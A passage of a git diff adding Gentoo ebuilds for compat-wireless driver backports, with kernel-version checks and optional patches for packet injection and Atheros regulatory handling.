+	#this may or may not HELP the channel -1 issue. this is not a fix
+	epatch "${FILESDIR}"/channel-negative-one-maxim.patch
+
+	#test patch for fixing iwlagn issues
+	epatch "${FILESDIR}"/reinette-test2.patch
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		ewarn "Pausing for 10 secs..."
+		epause 10
+		epatch "${FILESDIR}"/ath_ignore_eeprom.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
+		epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+		epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+		epatch "${FILESDIR}"/compat-chaos.patch
+		epatch "${FILESDIR}"/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch
+#		epatch "${FILESDIR}"/super_secret_patch.diff
+	fi
+	use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch
+	use debug-driver && epatch "${FILESDIR}"/driver-debug.patch
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}" || die "failed to install module ${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/load.sh \
+		scripts/unload.sh || die "script installation failed"
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh || die
+
+	dodoc README || die
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh 
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+	einfo 'You may have problem if you do not run "depmod -ae" after this installation'
+	einfo 'To switch to the new drivers without reboot run unload.sh then load.sh'
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/net-wireless/compat-wireless/compat-wireless-2.6.37-r7.ebuild b/net-wireless/compat-wireless/compat-wireless-2.6.37-r7.ebuild
new file mode 100644
index 00000000..001337b7
--- /dev/null
+++ b/net-wireless/compat-wireless/compat-wireless-2.6.37-r7.ebuild
@@ -0,0 +1,139 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+inherit linux-mod linux-info versionator eutils
+
+##Stable
+
+MY_P=${P/_rc/-rc}
+
+MY_PV=v$(get_version_component_range 1-3)
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable"
+CRAZY_VERSIONING="4-sn"
+SRC_URI="http://www.orbit-lab.org/kernel/${PN}-2.6-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="x86 amd64 arm"
+IUSE="atheros_obey_crda debugfs debug-driver full-debug injection noleds tinyversionoverride"
+
+DEPEND=""
+RDEPEND="=sys-kernel/linux-firmware-99999999"
+
+S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING}
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+	if kernel_is -eq $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3); then
+		if use tinyversionoverride; then
+			ewarn "You have the tinyversionoverride use flag set which means you know for a fact that your"
+			ewarn "kernel is older than the compat-wireless you are installing."
+			ewarn "Most likely you have no clue what you are doing and should hit control-C now"
+			ewarn "before you downgrade your system. Ten seconds to think about it."
+			epause 10
+		else
+			ewarn "Your kernel version is most likely newer than the compat-wireless release you are"
+			ewarn "trying to install. If you are certain that your kernel is older then you can set"
+			ewarn "the tinyversionoverride use flag to override this safety check."
+			epause 5
+			die "Your kernel version is too close to the compat-wireless version to risk installation."
+		fi
+	fi
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+}
+
+src_prepare() {
+	#this patch fixes a trivial typo in the config.mk
+	epatch "${FILESDIR}"/fix-typos-2.6.36_rc5.patch
+
+	#this patch is needed to forcibly enable new ralink chips because the shipped config.mk doesn't enable them
+	epatch "${FILESDIR}"/force-enable-new-ralink-pci-2.6.36-rc5.patch
+
+	#this may or may not HELP the channel -1 issue. this is not a fix
+	epatch "${FILESDIR}"/channel-negative-one-maxim.patch
+
+	#add support for ubiquiti toy for Ray
+	epatch "${FILESDIR}"/ubnt-wifi-station-ext2.patch
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		ewarn "Pausing for 10 secs..."
+		epause 10
+		epatch "${FILESDIR}"/ath_ignore_eeprom.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
+		epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+		epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+#		epatch "${FILESDIR}"/compat-chaos.patch
+		epatch "${FILESDIR}"/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch
+#		epatch "${FILESDIR}"/super_secret_patch.diff
+		epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch
+	fi
+	use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch
+	use debug-driver && epatch "${FILESDIR}"/driver-debug.patch
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}" || die "failed to install module ${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/unload.sh || die "script installation failed"
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh || die
+
+	dodoc README || die
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh 
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+	einfo 'You may have problem if you do not run "depmod -ae" after this installation'
+	einfo 'To switch to the new drivers without reboot run unload.sh then load
+	your needed driver.'
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/net-wireless/compat-wireless/compat-wireless-2.6.37-r8.ebuild b/net-wireless/compat-wireless/compat-wireless-2.6.37-r8.ebuild
new file mode 100644
index 00000000..f0933d65
--- /dev/null
+++ b/net-wireless/compat-wireless/compat-wireless-2.6.37-r8.ebuild
@@ -0,0 +1,147 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+inherit linux-mod linux-info versionator eutils flag-o-matic
+
+##Stable
+
+MY_P=${P/_rc/-rc}
+
+MY_PV=v$(get_version_component_range 1-3)
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable"
+CRAZY_VERSIONING="4-sn"
+SRC_URI="http://www.orbit-lab.org/kernel/${PN}-2.6-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="x86 amd64 arm"
+IUSE="atheros_obey_crda debugfs debug-driver full-debug injection noleds tinyversionoverride n900"
+
+DEPEND=""
+RDEPEND="!arm? ( =sys-kernel/linux-firmware-99999999 )"
+
+S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING}
+RESTRICT="strip"
+
+#CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+	if kernel_is -eq $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3); then
+		if use tinyversionoverride; then
+			ewarn "You have the tinyversionoverride use flag set which means you know for a fact that your"
+			ewarn "kernel is older than the compat-wireless you are installing."
+			ewarn "Most likely you have no clue what you are doing and should hit control-C now"
+			ewarn "before you downgrade your system. Ten seconds to think about it."
+			epause 10
+		else
+			ewarn "Your kernel version is most likely newer than the compat-wireless release you are"
+			ewarn "trying to install. If you are certain that your kernel is older then you can set"
+			ewarn "the tinyversionoverride use flag to override this safety check."
+			epause 5
+			die "Your kernel version is too close to the compat-wireless version to risk installation."
+		fi
+	fi
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+}
+
+src_prepare() {
+	#this patch fixes a trivial typo in the config.mk
+	epatch "${FILESDIR}"/fix-typos-2.6.36_rc5.patch
+
+	#this patch is needed to forcibly enable new ralink chips because the shipped config.mk doesn't enable them
+	epatch "${FILESDIR}"/force-enable-new-ralink-pci-2.6.36-rc5.patch
+
+	#this may or may not HELP the channel -1 issue. this is not a fix
+	# this breaks wl1251 patches
+	#epatch "${FILESDIR}"/channel-negative-one-maxim.patch
+
+	#add support for ubiquiti toy for Ray
+	epatch "${FILESDIR}"/ubnt-wifi-station-ext2.patch
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		ewarn "Pausing for 10 secs..."
+		epause 10
+		epatch "${FILESDIR}"/ath_ignore_eeprom.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
+		epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+		epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+#		epatch "${FILESDIR}"/compat-chaos.patch
+		epatch "${FILESDIR}"/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch
+#		epatch "${FILESDIR}"/super_secret_patch.diff
+		epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch
+		if use arm; then
+			epatch "${FILESDIR}"/wl1251-inject-2.6.37.patch
+		fi
+	fi
+	use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch
+	use debug-driver && epatch "${FILESDIR}"/driver-debug.patch
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+}
+
+src_compile() {
+	export LDFLAGS=$(raw-ldflags)
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	if use n900; then
+		./scripts/driver-select wl1251
+	fi
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}" || die "failed to install module ${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/unload.sh || die "script installation failed"
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh || die
+
+	dodoc README || die
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh 
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+	einfo 'You may have problem if you do not run "depmod -ae" after this installation'
+	einfo 'To switch to the new drivers without reboot run unload.sh then load
+	your needed driver.'
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/net-wireless/compat-wireless/compat-wireless-2.6.38.2-r1.ebuild b/net-wireless/compat-wireless/compat-wireless-2.6.38.2-r1.ebuild
new file mode 100644
index 00000000..cad4a11d
--- /dev/null
+++ b/net-wireless/compat-wireless/compat-wireless-2.6.38.2-r1.ebuild
@@ -0,0 +1,142 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+inherit linux-mod linux-info versionator eutils
+
+##Stable
+
+MY_P=${P/_rc/-rc}
+
+MY_PV=v$(get_version_component_range 1-3)
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable"
+CRAZY_VERSIONING="2-ns"
+SRC_URI="http://www.orbit-lab.org/kernel/${PN}-2.6-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="arm amd64 x86"
+IUSE="atheros_obey_crda debugfs debug-driver full-debug injection noleds tinyversionoverride"
+
+DEPEND=""
+RDEPEND=">=sys-kernel/linux-firmware-20110429"
+
+S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING}
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+	if kernel_is -eq $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3); then
+		if use tinyversionoverride; then
+			ewarn "You have the tinyversionoverride use flag set which means you know for a fact that your"
+			ewarn "kernel is older than the compat-wireless you are installing."
+			ewarn "Most likely you have no clue what you are doing and should hit control-C now"
+			ewarn "before you downgrade your system. Ten seconds to think about it."
+			epause 10
+		else
+			ewarn "Your kernel version is most likely newer than the compat-wireless release you are"
+			ewarn "trying to install. If you are certain that your kernel is older then you can set"
+			ewarn "the tinyversionoverride use flag to override this safety check."
+			epause 5
+			die "Your kernel version is too close to the compat-wireless version to risk installation."
+		fi
+	fi
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+}
+
+src_prepare() {
+	#this patch fixes a trivial typo in the config.mk
+	epatch "${FILESDIR}"/fix-typos-2.6.36_rc5.patch
+
+	#this patch is needed to forcibly enable new ralink chips because the shipped config.mk doesn't enable them
+	epatch "${FILESDIR}"/force-enable-new-ralink-2.6.38_rc3.patch
+
+	#ath9k_htc ethtool driver fix
+	epatch "${FILESDIR}"/ath9k_htc_ethtool_driver.patch
+
+	#this may or may not HELP the channel -1 issue. this is not a fix
+	epatch "${FILESDIR}"/channel-negative-one-maxim.patch
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		ewarn "Pausing for 10 secs..."
+		epause 10
+		epatch "${FILESDIR}"/ath_ignore_eeprom.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
+		epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+		epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+#		epatch "${FILESDIR}"/compat-chaos.patch
+#		epatch "${FILESDIR}"/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch
+#		epatch "${FILESDIR}"/super_secret_patch.diff
+		epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch
+	fi
+	use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch
+	use debug-driver && epatch "${FILESDIR}"/driver-debug.patch
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+#	Disable B44 ethernet driver
+	sed -i '/CONFIG_B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+	sed -i '/CONFIG_B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}" || die "failed to install module ${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/unload.sh || die "script installation failed"
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh || die
+
+	dodoc README || die
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh 
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+	einfo 'You may have problem if you do not run "depmod -ae" after this installation'
+	einfo 'To switch to the new drivers without reboot run unload.sh then load
+	your needed driver.'
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/net-wireless/compat-wireless/compat-wireless-2.6.39-r1.ebuild b/net-wireless/compat-wireless/compat-wireless-2.6.39-r1.ebuild
new file mode 100644
index 00000000..52e85533
--- /dev/null
+++ b/net-wireless/compat-wireless/compat-wireless-2.6.39-r1.ebuild
@@ -0,0 +1,137 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+inherit linux-mod linux-info versionator eutils
+
+##Stable
+
+MY_P=${P/_rc/-rc}
+
+MY_PV=v$(get_version_component_range 1-3)
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable"
+CRAZY_VERSIONING="1-sn"
+SRC_URI="http://www.orbit-lab.org/kernel/${PN}-2.6-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="arm amd64 x86"
+IUSE="atheros_obey_crda debugfs debug-driver full-debug injection livecd noleds tinyversionoverride"
+
+DEPEND=""
+RDEPEND="livecd? ( =sys-kernel/linux-firmware-99999999 )
+		!livecd? ( >=sys-kernel/linux-firmware-20110709 )"
+
+S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING}
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+	if kernel_is -eq $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3); then
+		if use tinyversionoverride; then
+			ewarn "You have the tinyversionoverride use flag set which means you know for a fact that your"
+			ewarn "kernel is older than the compat-wireless you are installing."
+			ewarn "Most likely you have no clue what you are doing and should hit control-C now"
+			ewarn "before you downgrade your system. Ten seconds to think about it."
+			epause 10
+		else
+			ewarn "Your kernel version is most likely newer than the compat-wireless release you are"
+			ewarn "trying to install. If you are certain that your kernel is older then you can set"
+			ewarn "the tinyversionoverride use flag to override this safety check."
+			epause 5
+			die "Your kernel version is too close to the compat-wireless version to risk installation."
+		fi
+	fi
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+}
+
+src_prepare() {
+	#this patch fixes a trivial typo in the config.mk
+	epatch "${FILESDIR}"/fix-typos-2.6.36_rc5.patch
+
+	#this may or may not HELP the channel -1 issue. this is not a fix
+	epatch "${FILESDIR}"/channel-negative-one-maxim.patch
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		ewarn "Pausing for 10 secs..."
+		epause 10
+		epatch "${FILESDIR}"/ath_ignore_eeprom.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
+		epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+		epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+#		epatch "${FILESDIR}"/compat-chaos.patch
+#		epatch "${FILESDIR}"/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch
+#		epatch "${FILESDIR}"/super_secret_patch.diff
+		epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch
+	fi
+	use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch
+	use debug-driver && epatch "${FILESDIR}"/driver-debug.patch
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+#	Disable B44 ethernet driver
+	sed -i '/CONFIG_B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+	sed -i '/CONFIG_B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}" || die "failed to install module ${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/unload.sh || die "script installation failed"
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh || die
+
+	dodoc README || die
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+	einfo 'You may have problem if you do not run "depmod -ae" after this installation'
+	einfo 'To switch to the new drivers without reboot run unload.sh then load
+	your needed driver.'
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/net-wireless/compat-wireless/compat-wireless-3.0.ebuild b/net-wireless/compat-wireless/compat-wireless-3.0.ebuild
new file mode 100644
index 00000000..ce42f2ba
--- /dev/null
+++ b/net-wireless/compat-wireless/compat-wireless-3.0.ebuild
@@ -0,0 +1,170 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="4"
+inherit linux-mod linux-info versionator eutils
+
+##Stable
+
+MY_P=${P/_rc/-rc}
+
+MY_PV=v$(get_version_component_range 1-2).0
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable"
+CRAZY_VERSIONING="2"
+SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="arm amd64 x86"
+IUSE="atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds tinyversionoverride"
+
+DEPEND=""
+RDEPEND="livecd? ( =sys-kernel/linux-firmware-99999999 )
+		!livecd? ( >=sys-kernel/linux-firmware-20110709 )
+		virtual/udev"
+
+S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING}
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+	if kernel_is -eq $(get_version_component_range 1) $(get_version_component_range 2) ; then
+		if use tinyversionoverride; then
+			ewarn "You have the tinyversionoverride use flag set which means you know for a fact that your"
+			ewarn "kernel is older than the compat-wireless you are installing."
+			ewarn "Most likely you have no clue what you are doing and should hit control-C now"
+			ewarn "before you downgrade your system. Ten seconds to think about it."
+		else
+			ewarn "Your kernel version is most likely newer than the compat-wireless release you are"
+			ewarn "trying to install. If you are certain that your kernel is older then you can set"
+			ewarn "the tinyversionoverride use flag to override this safety check."
+			die "Your kernel version is too close to the compat-wireless version to risk installation."
+		fi
+	fi
+
+	#these things are not optional
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+
+	if use b43; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or	USE=-b43"
+	fi
+	if use b44; then
+		linux_chkconfig_present SSB || die "You need to enable CONFIG_SSB or USE=-b44"
+		linux_chkconfig_present NET_ETHERNET || die "You need to enable	CONFIG_NET_ETHERNET or USE=-b44"
+	fi
+}
+
+src_prepare() {
+	epatch "${FILESDIR}"/make-make.patch
+
+	#this patch fixes a trivial typo in the config.mk
